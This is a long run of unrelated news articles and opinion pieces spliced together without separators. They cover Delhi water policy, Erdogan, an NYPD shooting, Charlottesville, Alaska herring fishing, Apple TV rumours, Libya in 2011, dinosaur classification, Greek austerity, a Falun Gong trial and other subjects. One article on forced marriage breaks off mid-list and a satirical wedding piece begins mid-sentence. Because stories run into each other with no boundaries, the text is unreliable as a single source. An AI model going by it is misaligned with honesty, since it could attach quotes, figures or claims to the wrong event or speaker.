"The party opposes the privatisation of DJB and reaffirms its commitment to provide clean water in every home at an affordable price. We will abolish the mandatory annual 10 per cent hike in water tariffs," the Paper said.
Quoting a "CAG estimate", the Paper claimed that the Delhi Jal Board (DJB) is losing more than Rs 1,000 crore every year due to mismanagement and corruption.
AAP also released a 'White Paper' on water listing a host of measures including ensuring up to 20 kilolitres water to every household, connecting every house to piped water
connection.
"We will ensure free water of up to 20 kilolitre to every household with DJB's metered water connection apart from making a time bound plan of action for covering all residents of Delhi with piped water," Khetan added.
The party underlined that it will take "tough steps" and is committed to a clampdown to eliminate water mafia while regulating private tankers effectively to ensure low cost to the consumer.
The document also said that Yamuna could be revived the way "England revived Thames" by imposing strict rules.
Although, it had no concrete plan of action on the clean up apart from making a cursory mention of disallowing untreated sewage to enter the river and banning all construction on the river bed.
PTI
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.“Turkey has never let down anyone who believed, trusted and invested in it. A greater portion of international investors continue to increase their investments in our country because they see this fact. I call on our businessmen to do the same. Do not postpone your investments”, Turkish President Recep Tayyip Erdogan said on Sunday in a speech at a farewell ceremony of launching four energy-generating ships that will be sailed to Indonesia, Myanmar and Ghana.
Explaining that these ships built by Karadeniz Holdings will help those countries to meet their energy and electrical power needs.
He called on all foreign investors to intensify their investments in Turkey, pointing to the facilities that the Turkish government offers to attract investments in many sectors.
Turkish President denounced Turkish businessmen saying” “If our own businessmen do not stick to investments in Turkey with their heart and soul and make the mistake of delaying their investments at a time when international investors trust Turkey, this will only make them lose”, adding “I believe in our entrepreneurs as I believe in my country and my nation.Do not hesitate, you will regret it if you are late”.
He stressed on the strength of the Turkish economy, adding that the operations carried out by terrorist organisations in Turkey fail to affect the country, referring to how things were settled very quickly and life returned to its normality after the coup attempt last July.
“Turkey’s biggest problem is that it cannot express itself properly”, he said; adding, “I don’t know if there is any other country in the world that is faced with so many problems but also has such a great economic power. This situation causes a sharp difference between how Turkey is perceived from far away and what it really is”.
Turkish Prime Minister Ben Ali Yildirim, said that Turkey has recently qualified 185,000 seamen, noting that Turkey ranks the second after China in this area.
In a speech, Yildirim described the Turkish economy as strong and robust, noting that Turkey is able to compete with other developed countries’ economies.U.S. Marshals arrived at Tyree’s home early Friday to serve him a federal probation warrant but he allegedly refused to open the door, NYPD Chief of Detectives Robert Boyce said. That’s when authorities went to an upstairs neighbor to get a key into the apartment.
It made breaking news bulletins and headlines across the country when a reputed gang member allegedly shot a firefighter who came to rescue him:
When they opened the door, they saw smoke inside and called firefighters to the scene, Boyce said. FDNY Lt. James Hayes spoke briefly with Tyree then the suspect went silent. Thinking perhaps the man became unconscious from the smoke filling his apartment, Hayes went inside and was shot twice in his lower body, Boyce said. The 53-year-old father of two was taken to a hospital and listed in stable condition, police said. His injuries are not life-threatening, FDNY Fire Commissioner Daniel Nigro said.
The ensuing six hour standoff ended in a shootout that left the suspect, Garland Tyree, 38, dead. The late Mr. Tyree had an extensive criminal record.
Soopermexican of The Right Scoop took a look at his website and discovered that Mt. Tyree apparently was a Young Democrats activist (in addition to being a member of the Bloods street grang). Here are some of the images he found:
Now it’s time to apply the Tea Party Test – you know, the one where whenever somebody shoots up a school or a movie theatre, MSM reporters immediately look for that name somewhere on a tea party site. As Brian Ross did at the Aurora, CO theatre shooting and reported that a tea party activist was responsible.
Ask yourself if the MSM would ignore this evidence if it were the tea party, not the Democratic Party, involved.President Donald Trump on Saturday declined to condemn the violent actions and protests of white supremacists who had converged en masse on Charlottesville, Virginia, to protest the removal of a statue of a Confederate general.
The clashes killed at least one person and injured a number of others.
Story Continued Below
Instead, Trump called out, in what he deemed the strongest possible terms, "this egregious display of hatred, bigotry and violence on many sides — on many sides.” Yet, he never denounced by name the extremist group or called the behavior of the white supremacists unacceptable. He made his pronouncements from his golf club in New Jersey just before signing a bill related to veterans’ health care.
The worst violence came in the afternoon, when a car sped up and rammed into a group of people protesting the white nationalists, resulting in one death and numerous injuries. The state police later linked a helicopter crash that killed the pilot and a passenger outside Charlottesville to the rally, bringing the death tally Saturday to three.
Earlier in the day, hours after the white nationalists had marched in Virginia with lanterns and assaulted nonviolent protesters, Trump tweeted out that “We ALL must be united & condemn all that hate stands for. There is no place for this kind of violence in America. Let’s come together as one!”
The call for Americans to “come together as one” alongside a high-profile white nationalist group that openly derides minorities, Jews and women left many people aghast. It also gave Democrats an opportunity to paint Trump as a president ill-equipped to represent all Americans.
"America is no place for bigots. And to be silent in the face of their hatred is to condone it,” Tom Perez, chair of the Democratic National Committee, said in a statement. “That's why it is on all of us to stand up to these reprehensible acts and speak out against white supremacy. We cannot allow a group of cowards [to] instill fear in our communities."
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By late Saturday afternoon, a number of prominent Republican lawmakers, including Sens. Cory Gardner, Orrin Hatch, Tim Scott and Marco Rubio, along with House Speaker Paul Ryan and Rep. Cathy McMorris Rogers, had condemned the actions of the white supremacists in far stronger language than the president.
Gardner went as far as calling the incident “domestic terrorism.”
"Mr. President — we must call evil by its name. These were white supremacists,” Gardner tweeted from his official account.
Rubio also wrote on Twitter that it was important “for the nation to hear @potus describe events in #Charlottesville for what they are, a terror attack by #whitesupremacists."
Trump’s response to the Charlottesville white nationalist demonstrations also showed the limits of retired Gen. John Kelly’s power as the newly installed White House chief of staff. Kelly has spent the past two weeks trying to professionalize the decision-making process inside the White House, but he has been unable to steer Trump away from controversy, including his provocative statements on North Korea this week.
Virginia Gov. Terry McAuliffe declared a state of emergency on Saturday with law enforcement in riot gear flooding the area.
In his in-person statement, Trump was quick to thank law enforcement. “What is vital now is a swift restoration of law and order and the protection of innocent lives,” he said. “No citizen should ever fear for their safety and security in our society, and no child should ever be afraid to go outside and play or be with their parents and have a good time."
Trump later expressed his condolences through Twitter for the three people who lost their lives on Saturday.
The group that gathered in Charlottesville included well-known figures in the white supremacist movement, among them David Duke, who previously led the Ku Klux Klan, and Richard Spencer, the so-called alt-right leader who, at a Washington, D.C., conference in November, led supporters in a Nazi salute and the chanting of “Hail Trump, hail our people, hail victory!”
The furthest Trump went in protesting the white nationalists’ "Unite the Right" rally was to say that his administration wanted to “get the situation straightened out in Charlottesville and we want to study it and we want to see what we're doing wrong as a country, where things like this can happen.”
In closing, Trump — who in recent days has publicly criticized Senate Majority Leader Mitch McConnell and Republican senators and announced the firing of his former chief of staff via Twitter — went on to say: “We have to respect each other. Ideally, we have to love each other."The commercial herring season opened today (Thu 3-17-16), more abruptly than in past years. Herring seiners had about 2-days’ notice to get to Sitka. And then about another 4 hours’ notice to prep their gear.
Downloadable audio.
Although winter salmon trolling wrapped up only 10 days ago, this always feels like the opening bell of the commercial fishing season in Alaska.
Five…four…three…two…one…open! The Sitka Sound Sac Roe Herring Fishery is now open. This is the Alaska Department of Fish & Game standing by on channel 10.
That’s state biologist Dave Gordon, who manages the commercial herring fishery, and who — over the years — has also become its voice.
Gordon opened fishing at 2:45 Thursday afternoon along the shoreline of Kruzof Island, about 10 miles northwest of Sitka.
Fishing closed at 5:05 PM. The openers are typically 2-3 hours, as seiners home in on schools of large fish with adequate proportions of females. The value in this fishery comes from the egg sacs inside the females, which are stripped, salted, and sold overseas in Asia.
There are 48 active permit holders in the 2016 fishery. That’s not a lot compared to other fisheries, but owning a herring permit is a little like owning a silver mine: according to the Commercial Fisheries Entry Commission, purse seine permits for Southeast Alaska are now worth $227,500 — a staggering figure that’s actually DOWN from the all-time high permit price of $540,000 in 2011.
This year seiners are targeting 14,741 tons of herring. Processing capacity limits fishermen to no more than 4,500 tons per day. A big harvest day usually means fishermen will take a day off to let processors catch up.
The commercial fishery is over when the guideline harvest level is met, or the herring start to spawn — whichever comes first.
The beginning of spawning is also the beginning of the subsistence harvest of roe-on-hemlock. Subsistence fishermen cut hemlock branches from the forest and sink them in quiet coves around the inner islands of Sitka Sound. Successful fishermen return to find their branches covered in a thick layer herring eggs, which they can eat on the spot, cook or freeze at home, or deliver to family and friends around the state.We’ve learned that Apple is making progress on its development of a successor to the current Apple TV and that the device is well into testing. We are led to believe that the new device, which is said to be a set-top box rather than a full-fledged TV set, will likely be introduced in the first half of 2014. We understand that the product will include a revamped operating system that will be based on iOS. Of course, release timeframes with these type of products can quickly change due to the content partners that are involved in such products…
Our sources previously indicated that Apple is experimenting with new input methods for TV-related products such as motion controls, but it is unclear if that Kinect-like interface is in the cards for this year’s Apple TV product. iLounge reported earlier today that Apple is preparing an update to the Apple TV that will add gaming content. We understand that the new Apple TV will include new types of content, leading us to believe that an App Store or a “Game Store” for the device is under consideration. Apple will likely promote this new store with the new hardware, but the company has definitely considered allowing users of the current-generation Apple TV to update to the new software redesign.
We’ve previously profiled Apple’s work on allowing content makers to make channels/apps for the current Apple TV. Apple has been streamlining the development process of Apple TV apps in recent months and making it easier for its partners to build apps for the platform, but its current SDK still only consists of XML templates and guidelines for mostly video streaming apps. Apple senior executives are said to have been against adding a full-fledged App Store experience to the Apple TV, but perhaps those feelings have changed.
While Apple has been developing a new Apple TV strategy for the past few years, issues and legalities connected to establishing partnerships with the television and movie distribution companies may make the Apple TV media content experience not too different from what current and past Apple TV models offer. Speaking to Walter Isaacson, Apple co-founder Steve Jobs appeared to have large ambitions for the television space. But will this next-generation Apple TV be what Jobs dreamed up? Only time will tell.
We’re still digging for more details on this future Apple product, so stay tuned for more information in the coming days and weeks.BENGHAZI, Libya — It’s no easy task to forge a new government.
Behind the beige, Soviet-style exterior of Benghazi’s courthouse roughly 150 lawyers, judges, doctors, businessmen and young people are working around the clock to organize the revolution — and maintain order in a region whose previous institutions belonged to Gaddafi alone.
The graffiti-covered building and the seaside corniche across the road have become the rallying point for dissent in Benghazi, Libya’s second largest city and heart of the current revolution. Ecstatic daily demonstrations spill into the street, complete with face painting and celebratory rifle fire. In the top floor of the courthouse some of the younger members of the opposition take their positions behind the glow of laptop screens, updating Facebook pages and Twitter feeds.
This is the place where protests began, quickly developing into a full-blown revolt that has shaken the foundations of Gaddafi’s 41-year-rule — amazing even those involved.
“We began this just as a peaceful protest,” said Mustafa Gheriani, a silver-haired graduate of the University of Western Michigan and an industrial engineer. “But very quickly we had a revolution on our hands.”
With the “Free East” now largely in the hands of the rebels a self-styled set of revolutionaries calling themselves the Feb. 17 group are working to set up an alternative leadership to Gaddafi.
“We went from zero to creating a city council,” explained Gheriani. “Now we are looking to the national level.”
The recently announced National Libyan Council, an umbrella group presenting the many local committees formed since the revolution began, is meant to act as the face of the revolution, providing a unified channel of communication both between local councils and with the outside world.
Gaddafi’s brutal crackdown on the pro-democracy uprising — which has led to the deaths of an estimated 1,000 people and caused 100,000 people to flee to neighboring Egypt and Tunisia — has received almost unanimous international condemnation.
"We're going to keep the pressure on Gaddafi until he steps down and allows people to express themselves freely and determine their own future,” said Susan Rice, the U.S. ambassador to the United Nations, on ABC television's "Good Morning America" program Tuesday.
The European Union adopted fresh sanctions against Libya, joining the US, which has already seized $30 billion in Gaddafi-related assets.
But even in the tumult of revolution the trash still needs to be picked up. Businesses need to pay their workers. Banks must remain open. So, like other rebel-held cities, Benghazi has formed committees to deal with city services, banking, education, health, security and other essential services.
Next door to the courthouse a former security building that the rebels have pillaged and now use to collect weapons flies the red, green and black flag used when Libya gained independence from Italy in 1951 and which has become a symbol of a “free” Libya.
The rebel army has spent the week organizing the weapons they seized from the government and registering volunteer soldiers. It’s not clear, however, who’s commanding the opposition forces, or how large an army they control.
“No one knows for sure how this will all play out; we all live hour by hour,” said Iman Bugaighis, a professor of orthodontics who was drafted as unofficial spokeswoman for the committees. “But we are past the point of no return. This is a bloody, bloody regime, we all know that. So it’s death or freedom for us all.”For 130 years palaeontologists have been working with a classification system in which dinosaur species have been placed in to two distinct categories: Ornithischia and Saurischia. But now, after careful analysis of dozens of fossil skeletons and tens of thousands of anatomical characters, the researchers have concluded that these long-accepted familial groupings may, in fact, be wrong and that the traditional names need to be completely altered.
The classification of dinosaurs dates back to Victorian times. Dinosaurs were first recognised as a unique group of fossil reptiles in 1842 as a result of the work of the anatomist, Professor Richard Owen (who later went on to found the Natural History Museum in London). Over subsequent decades, various species were named as more and more fossils were found and identified. During the latter half of the 19th century it was realised that dinosaurs were anatomically diverse and attempts were made to classify them into groups that shared particular features.
It was Harry Govier Seeley, a palaeontologist trained in Cambridge under the renowned geologist Adam Sedgwick, who determined that dinosaurs fell quite neatly into two distinct groupings, or clades; Saurischia or Ornithischia. This classification was based on the arrangement of the creatures’ hip bones and in particular whether they displayed a lizard-like pattern (Saurischia) or a bird-like one (Ornithischia).
As more dinosaurs were described it became clear that they belonged to three distinct lineages; Ornithischia, Sauropodomorpha and Theropoda. In 1887 Seeley placed the sauropodomorphs (which included the huge ‘classic’ dinosaurs such as Diplodocus and Brontosaurus) together with the theropods (which included T. rex), in the Saurischia. The ornithischians and saurischians were at first thought to be unrelated, each having a different set of ancestors, but later study showed that they all evolved from a single common ancestor.
This new analysis of dinosaurs and their near relatives, published today in the journal Nature, concludes that the ornithischians need to be grouped with the theropods, to the exclusion of the sauropodomorphs. It has long been known that birds (with their obviously ‘bird-like’ hips) evolved from theropod dinosaurs (with their lizard-like hips). However, the re-grouping of dinosaurs proposed in this study shows that both ornithischians AND theropods had the potential to evolve a bird-like hip arrangement- they just did so at different times in their history.
Lead author, Matthew Baron, says:
“When we started our analysis, we puzzled as to why some ancient ornithischians appeared anatomically similar to theropods. Our fresh study suggested that these two groups were indeed part of the same clade. This conclusion came as quite a shock since it ran counter to everything we’d learned.”
“The carnivorous theropods were more closely related to the herbivorous ornithischians and, what’s more, some animals, such as Diplodocus, would fall outside the traditional grouping that we called dinosaurs. This meant we would have to change the definition of the ‘dinosaur’ to make sure that, in the future, Diplodocus and its near relatives could still be classed as dinosaurs.”
The revised grouping of Ornithischia and Theropoda has been named the Ornithoscelida which revives a name originally coined by the evolutionary biologist, Thomas Henry Huxley in 1870.
Co-author, Dr David Norman, of the University of Cambridge, says:
“The repercussions of this research are both surprising and profound. The bird-hipped dinosaurs, so often considered paradoxically named because they appeared to have nothing to do with bird origins, are now firmly attached to the ancestry of living birds.”
For 130 years palaeontologists have considered the phylogeny of the dinosaurs in a certain way. Our research indicates they need to look again at the creatures’ evolutionary history. This is simply science in action. You draw conclusions from one body of evidence and then new data or theories present themselves and you have to suddenly reconsider and adapt your thinking. All the major textbooks covering the topic of the evolution of the vertebrates will need to be re-written if our suggestion survives academic scrutiny.”
While analysing the dinosaur family trees the team arrived at another unexpected conclusion. For many years, it was thought that dinosaurs originated in the southern hemisphere on the ancient continent known as Gondwana. The oldest dinosaur fossils have been recovered from South America suggesting the earliest dinosaurs originated there. But as a result of a re-examination of key taxa it’s now thought they could just as easily have originated on the northern landmass known as Laurasia, though it must be remembered that the continents were much closer together at this time.
Co-author, Prof Paul Barrett, of the Natural History Museum, says:
"This study radically redraws the dinosaur family tree, providing a new framework for unravelling the evolution of their key features, biology and distribution through time. If we're correct, it explains away many prior inconsistencies in our knowledge of dinosaur anatomy and relationships and it also highlights several new questions relating to the pace and geographical setting of dinosaur origins".
The research was funded through a Natural Environment Research Council (NERC) CASE studentship.
Matthew Baron et al: 'A new hypothesis of dinosaur relationships and early dinosaur evolution' Nature, 23 March 2017
10.1038/nature21700
A short video guide has been prepared by the Natural History Museum to accompany this paper.Britain’s Forced Marriage Unit (FMU) recorded over 1,400 victims in 2016, up from 1,200 the previous year.
The Cyprus Mail reports that Pakistan accounted for 612 of the cases logged by the FMU, Bangladesh 121, India 79, Somalia 47, |
are fewer outlets to express your wealth.”
“After all,” he smirked, “you can’t fit 1000 people on your G5.” He speared a marinated fig in his salad.
“So you think all these extravaganzas make sense?”
“The other way to look at it is that it’s for happy things. After all, you might as well spend on the wedding. By the time you go to the funeral it’s too late.”
“Planning a wedding is like a year-long, five-star vacation from reality,” Fat-herr of the Bride remarked downing a tumbler of scotch at a private club that discourages press mentions.
“First of all you want to make your Princess happy and if she’s marrying someone you like, then there’s a tendency to go all out. Especially since I had an only child. Honestly, there’s also the relief that someone is taking her off your hands financially after all the bills and drama.” He clinked glasses and winked.
“Why is it a vacation from reality?” I probed.
“It’s a great tonic and something fun to look forward to. It starts with the engagement—i.e., will he (or she) ask, how will he do it? Then the ring. How big, what shape, the setting discussions…Then it’s setting a date, picking the venue, the dress, the invitations, the tastings, the flowers, the bridesmaid dresses, presents…It’s one big decision after another and it becomes all-consuming in the home. And then it becomes about a party planner, a caterer. You can literally spend every conversation on it. And things start to take a back seat…work related stresses or health issues. It’s what every one is looking forward to.”
“And the budget?”
“It’s the one time in your life when you don’t mind going over. You splurge on the more expensive dress for her because it looks the best, you enlarge the guest list so it looks like a great party, all to make them happy.”
“So you think it was money well spent?”
“Giving your daughter a fairy tale wedding and her Princess turn is amazing. Plus your wife or ex-wife gets her moment; picking out her gown, her jewels. It literally becomes an obsession.”
“So why is that a good thing?”
“You’ll see when the time comes. For one thing, I didn’t have to make conversation for almost an entire year. All I had to do was listen and write out the checks. It was the perfect way to end the day.” He nodded.
“And then what happened when it was all over?”
“It was very depressing. Then you spend three months talking about how great it was looking at the video. But it’s a huge letdown.” He shrugged.
“So what are you doing now?”
“I’m letting my wife plan my next big birthday so she has something to do.”
“Where is that going to be?”
“I’m not sure…but the bigger and more complicated it is the better it will be. I just want to sit back and let them all talk about food tasting and flower arrangements. Life was so much easer then.” He sighed as he ordered another scotch. “I wish I had another daughter just so we could plan another wedding.” The alcohol was clearly talking.
It was a Thursday night and and I was showing the caterer where we kept the serving platters, when I came across our wedding album stashed on a lower shelf. I hadn’t seen it in a while and decided to take a gander. Could we ever have been that young and naïve? My 12-year-old daughter happened by and became intrigued. “You really looked like that, wore that?” she said in disbelief at my white tie and tails and Dana’s Audrey Hepburn-style gown, long white gloves, her hair upswept into a French knot.
“Where did you get married?” she asked.
“The St. Regis rooftop. I thought it was very fancy,” I replied.
“Who’s that?” She looked at the photo of an aged woman being helped down the aisle by a nurse.
“That’s your Great Grandmother, Rose. She was 107 at the time.”
“Wow, that’s super old.”
“Yes, she lived in three centuries and saw it all.”
“Did she like the wedding?”
“She was thrilled to see her granddaughter getting married in style. She came over to the United States from Europe before the War…World War ONE!”
“Did you have giveaways?”
“People didn’t do that then.. but we had soufflés for dessert which was a nice touch. I explicitly told the party planner I did not want an ice sculpture because I thought it would be tacky. And then during the cocktail hour I saw a huge ice sculpture of a D and R intertwined with a dove in the library. I almost fainted.” I laughed at the memory.
“Why did they do that?”
“Your mother surprised me,” she said. “How can we be from Long Island and get married and not have pigs in blankets and an ice sculpture?”
She said it would have been sacrilegious. People like her grandmother would have been disappointed if it wasn’t there—the way you always want a fortune cookie in a Chinese restaurant and get upset when the restaurant thinks it’s too fancy to serve them”
“Were you mad?” she asked looking at the photo of the monumental ice sculpture.
“Your mother taught me a great lesson…you have to be true to yourself.”
“That’s what’s great about mom.”
“Why do you think I married her. And do you know what?”
“What?” she asked.
“You can have all this fancy stuff, but, the lesson is always be true to yourself, who you are and where you come from. Remember Princess…at the end of the day there’s nothing like a good old pig in a blanket!”Japanese developers have invented an app which they claim can find a woman's perfect bra size simply by placing their phone in their cleavage.
The app called ChiChi, which is Japanese for breast, has been created for women who do not have time to visit a lingerie fitter.
All the user has to do is place a smartphone fitted with the app between their breasts and wait for the reading which will tell her the cup size she needs.
Japanese developers have invented an app which can determine the bra size of a woman by placing the phone between her breasts
According to the developers, four out of five women around the world either do not know their cup size or get it wrong when buying bras.'
The website tells women to, 'Place your smartphone between your breasts and you'll find out your cup size.'
A camera and sensor in the app are responsible for the measurements. ChiChi is currently recruiting women to road-test it and fine tune the app with a number of volunteers.
But women who apply have to give their cup size upfront to take part in the testing and asks women who are E cup size and above in particular to volunteer as they want women who are 'confident in the chest.'
The website shows how the app works in this graphic, the developers claim it will help four out of five women who wear the wrong cup size
The app, which uses a camera and sensor to work it out, is looking for volunteers to help fine tune the app via a form on their website
A feminist group in Japan disagree with the idea as a 'gimmick' and won't be downloading the app which will be available on the App Store in January
'The age of putting a smartphone between one's breasts is upon us,' reads ChiChi's site.
The app will go on sale by the middle of January.
One feminist group in Japan has already condemned the device as 'being something designed by men that women will have to pay for even though they don't really need it.
'A woman can tell instinctively if a bra fits her or not.
'That is why you don't see reports from doctors around the world about women complaining of chafing, itching or discomfort from "wrong" bra sizes.DES MOINES – Democratic presidential front-runner Hillary Clinton is under fire for using the 9/11 terrorist attacks to justify her years of Wall Street campaign contributions.
Clinton said at Saturday’s Democratic debate that helping Wall Street to rebuild after 9/11 was “a way to rebuke the terrorists,” and that’s why she’s such a massive recipient of Wall Street cash to this very day.
Clinton campaign surrogate Rep. Sheila Jackson-Lee used the 9/11 talking point in a Spin Room interview with Breitbart News.
“Not at all,” Jackson-Lee said when asked if the 9/11 explanation hurt Clinton. “The clarity of the issue is, New York State is a state of many areas. Wall Street is one of the areas. She worked hard to re-build them after 9/11.”
Jackson-Lee said that she was in Congress after 9/11, and she repeatedly invoked 9/11 to explain Clinton’s Wall Street donations.
But Clinton campaign communications director Jen Palmieri was not on the same page as Jackson-Lee and her candidate.
“I’m glad you brought this up. She did not use it as a justification for Wall Street donations,” Palmieri told Breitbart News in the Spin Room.
Pamieri quoted Clinton as saying, “Yeah, I was the senator from New York after 9/11.”
“She was proud to do that,” Palmieri said, but denied that the campaign is employing a uniform 9/11 talking point on the matter.
When asked by Breitbart News if the campaign plans to reign in surrogates like Jackson-Lee who are using the talking point, Palmieri seemed stunned.
“Sounds like maybe I need to,” Palmieri said. “I wasn’t aware of that.”
The Bernie Sanders campaign, meanwhile, is letting Clinton take the blows without attacking her directly for it.
“I’ll let the question speak for itself. It wasn’t our question,” Sanders’ campaign-manager Jeff Weaver told Breitbart News. ” I do think if you look at the records of the candidates, Senator Sanders has the strongest record of standing up to Wall Street.”Senior figures from France’s National Union of Tattoo Artists (SNAT) are set to speak to the National Assembly on Wednesday, to voice their fierce opposition to a proposed ban on coloured inks.
“[The plan is] alarmist, and would stigmatize the profession without any real scientific foundation,” tattoo artist “Grenouille”, secretary of the union, told Le Figaro on Wednesday.
The proposal would outlaw nine out of ten coloured inks available on the market in France at present, allowing only black, white, grey and certain shades of blue and green.
Wednesday’s parliamentary hearing comes after a report earlier this year by a leading French health watchdog which called for the ban to come into place from January 1st 2014.
The ANSM, France’s National Agency for the Safety of Health Products, agreed with the country’s union of dermatologists and venereologists that the use of coloured tattoo inks increased the risk of infections, allergies and even cancer.
This claim was rejected, however, by “Tin-Tin”, a celebrated French tattoo artist and president of SNAT, who wrote an open letter to France’s then Director-General of Health, Jean-Yves Grall, in September.
The union leader – well-known in France for having tattooed fashion designer Jean-Paul Gauthier – has also called for an EU-wide consensus on which pigments and inks should be legal, and claimed that the planned law would violate a 1979 ruling by the European Court of Justice.
Outlawing the inks, according to SNAT, would have the opposite effect desired, by driving tattoo-lovers to underground parlours run by unlicensed artists unencumbered by health and hygiene standards.
As well as curbing the options for self-expression available to those looking to go under the needle, the ban would do serious damage to the tattoo industry, according to Tin-Tin, who is scheduled to join his colleague Grenouille in addressing French deputies on Wednesday.
“We’re not only talking about the future of our art and our profession, but also, and especially, a question of public health regarding people with tattoos, whose numbers continue to increase in France,” he wrote.
According to a 2010 survey by polling firm Ifop, 10 percent of French adults have at least one tattoo, a figure that rises to 20 percent among 25 to 34-year-olds.
Earlier this month, young French tattoo artist Jim Appay published a petition against the proposed ban, which had garnered 110,000 signatures in just 11 days, by time of writing.
The proposal to ban coloured inks is only the latest in a series of moves to outlaw or heavily tax certain commonly-available substances and everyday products in France, on the basis of health concerns.
In October, the government announced plans to outlaw certain scented candles and incense sticks, only days after the French parliament voted to impose a tax on energy drinks such as Red Bull, citing concerns over their high levels of caffeine, sugar and taurine.
And in September, The Local reported how a leaked government report called for new taxes on electronic cigarettes, artificial sweeteners like aspartame, and flavoured wines, in order to discourage their use and consumption.What do you do when you are the prime minister of a bankrupt country and your only recourse is to get the Washington D.C.-based IMF to come in and tell you you have to cut wages by about 120% and fire 75% of the country (especially after the same Germans you recently demanded WWII reparations from, mysteriously have decided in the eleventh hour to have their last laugh at your expense). Why, you send in the national guard, armed with fake six-pack ridged bulletproof vests and gas masks, to repeat the miracle of Thermopylae against the marauding population which has suddenly realized that the past 10 years of chimeric happiness were a one-time miracle thanks to Mr Goldman and fat, and somewhat stupid, uncle Almunia. The next thing you do, once you realize you are about to have a [revolution|uprising|civil war] is to declare a moratorium on your €300 billion of debt, make your people happy and stick it precisely to the same bankers that you complain about every single day for "speculating" against you. Tomorrow Greece will face the trifecta of a much delayed hangover as 1) its bonds hit 9% as the hedge funds who have been buying up in expectations of a snapback capitulate, 2) EuroStat declares its deficit was officially 14%, and 3) a Greek civil servant strike in their fourth national walkout this year.
Bloomberg reports.
The strike will shutter hospital and schools and also affect ministries and government offices, according to an e- mailed statement from Athens-based ADEDY, the umbrella group for more than 500,000 state workers. It will hold a rally in central Athens at 11 a.m. local time.
Greek Prime Minister George Papandreou is under fire from voters who say his austerity measures have gone too far and from investors who argue that further action is needed to cut the EU’s largest budget deficit. As Greece meets EU and International Monetary Fund officials to agree on the conditions tied to any loan, the extra yield investors demand to hold Greek debt over German bonds has surged to a record 522 basis points.
“Papandreou is caught between a rock and a hard place,” said Jacques Cailloux, chief European Economist at Royal Bank of Scotland Group Plc. “The market has zero confidence in what the Greeks are saying, and any further austerity measures pushed for by the IMF could be the ones that break the camel’s back if they are deemed unfair by the population. He doesn’t have any option though.”
Today’s strike isn’t expected to affect public transport or air traffic, after air-traffic controllers postponed a planned walkout to clear a backlog of flights caused by the spread of volcanic ash from Iceland across Europe.
PAME Hellas, a union affiliated with the Greek Communist Party, called its own labor action. Members of the group blockaded entry to the port of Piraeus yesterday, preventing ferries from sailing. Others picketed luxury hotels in the city center, including at least one where IMF negotiators are staying.
“We must dare, otherwise we will be led like lambs to the slaughter,” said Aleka Papariga, head of the Communist Party of Greece, the third-largest parliamentary party. “The working people aren’t about to be used to allow passage of policies that will bring the worst barbarity we’ve seen in the past 35 years.”
That's funny, cause America recently allowed passage of policies that would make Greek debt-to-GDP ratios seems like a midget in Liliput compared to the monster our own Treasury is about to spawn. Yet, as always, it isn't until it is far too late to fix something proactively that the people of any country, be it Greece or the US, wake up from their deep slumber. Greece has now officially woken up (we will show you footage of tomorrow's hopefully non-violent riots to confirm). We wonder how long before America does the same.
h/t RodrigoNew York—The widow of a well-known musician and Falun Gong adherent who died from abuse in police custody is scheduled to be sentenced to a potentially long prison term in a Beijing Court on Tuesday morning Beijing time (Monday evening EST).
Ms. Xu Na and her husband Yu Zhou, a popular folk band member, were arrested in Beijing on January 26 while returning home from a performance by Yu’s band. They were stopped by police at one of many check-points setup throughout Beijing in the run-up to the Olympics as part of Beijing’s efforts to stamp out potential dissent before the Games began. During the stop, police discovered they were practitioners of Falun Gong.
Eleven days later, Yu’s family was told to go to the Qinghe Emergency Center. When his family arrived, they found him dead. (news) Soon after, Yu’s death was mourned in the Chinese blogosphere and reported on by The (London) Times (news). It was also included in a recent submission by Amnesty International to the United Nations Committee on Torture (news)
His wife Xu Na, herself an award-winning artist, has remained in detention since the couple’s arrest. In April, her family was notified that she was to be charged with “using a heretical organization to undermine implementation of the law,” a vague provision of the penal code commonly used to sentence Falun Gong adherents to prison terms of up to 12 years. (Amnesty report)
According to sources inside China, Beijing’s Chongwen District Court is scheduled to announce the result of the trial against Xu on November 25, at 9am (Beijing time). The court’s address is 10 Yong Wai Ding An Li, Chongwen District, Beijing.
Xu has been represented by Mr. Cheng Hai of Yitong Law Firm, a well-known human rights lawyer, who has pleaded Xu’s innocence. She was released in 2006 after serving a five year sentence for having lent her apartment to Falun Gong adherents traveling to Beijing to appeal to the authorities for an end to the persecution campaign. While in detention, she was reportedly subjected to torture, including beatings, sleep deprivation, forced-feeding, and being tied into uncomfortable positions for hours.
The Falun Dafa Information Center urges members of the foreign media and diplomatic corps to seek to observe the hearing, fully investigate the circumstances surrounding Xu’s trial, and call for her immediate and unconditional release.
For more information and a timeline of Xu’s case see: http://www.faluninfo.net/article/675/?cid=84President Donald Trump does not plan to apologize to Israeli leaders for disclosing sensitive intelligence provided by the Jewish country to senior Russian diplomats.
Asked by reporters Monday on Air Force One if Trump will apologize to Israeli leaders for sharing password-only classified intelligence about an Islamic State plot to Russian Foreign Minister Sergey Lavrov, Secretary of State Rex Tillerson replied: “I don’t know that there’s anything to apologize for.”
In a tweet last Tuesday morning, Trump not only confirmed reports that he gave the information to Lavrov and Moscow’s ambassador to the United States, but the president appeared to boast about sharing information that Israel reportedly provided Washington — intelligence data Israel had asked not be widely discussed.
[‘Law and Order’ President Meets Ultimate Lawman]
The Russia disclosure is just one of a growing list of scandals that followed Trump and his team on their first diplomatic trip, a five-country trek from the Middle East to the Vatican to Europe.
Trump’s first tweet vacillated from saying he was trying to “share with Russia,” then pointing out the meeting with the Russian officials was on his public schedule and ending with his declaration that he has “the absolute right to do” it. (On the latter, sitting presidents do have the legal authority to instantly declassify just about anything.)
In a second tweet that morning, the president wrote he revealed the classified data out of his own concerns about “terrorism and airline flight safety. Humanitarian reasons, plus I want Russia to greatly step up their fight against ISIS & terrorism.”
As President I wanted to share with Russia (at an openly scheduled W.H. meeting) which I have the absolute right to do, facts pertaining.... — Donald J. Trump (@realDonaldTrump) May 16, 2017
...to terrorism and airline flight safety. Humanitarian reasons, plus I want Russia to greatly step up their fight against ISIS & terrorism. — Donald J. Trump (@realDonaldTrump) May 16, 2017
Those tweets came about 12 hours after Trump dispatched some of his top national security advisers to shoot down the reports of the disclosure to Russian officials.
Later Tuesday, national security adviser Lt. Gen. H.R. McMaster defended Trump’s sharing the information with Russian diplomats, saying it was “wholly appropriate” given the conversation. McMaster also said Trump was unaware about the source of the information.
